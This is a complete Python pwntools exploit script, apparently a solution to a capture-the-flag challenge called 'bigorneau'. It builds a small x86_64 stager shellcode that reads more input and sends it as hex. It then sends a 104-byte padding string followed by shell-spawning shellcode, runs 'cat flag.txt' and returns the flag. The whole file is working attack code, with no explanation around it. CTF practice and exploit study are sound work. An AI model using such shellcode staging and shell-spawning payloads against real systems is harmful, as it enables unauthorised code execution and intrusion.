from pwn import *

CHALL = "bigorneau.py"


def exploit(io, elf):
    context.update(arch='x86_64')
    shellcode = '''
    push rsp
    push rsp
    pop rsi
    push 0x100
    pop rdx
    syscall
    '''
    shellcode = bytes(asm(shellcode))

    io.info('shellcode: ' + hex(int.from_bytes(shellcode)))
    io.info('set: %s : %i' %
            (', '.join([hex(i) for i in set(shellcode)]), len(set(shellcode))))

    io.sendlineafter(b':\n', hex(int.from_bytes(shellcode))[2:].encode())
    io.sendline(b'A'*104 + bytes(asm(shellcraft.sh())))
    io.sendline(b'cat flag.txt')
    flag = io.recvline().decode()
    return flag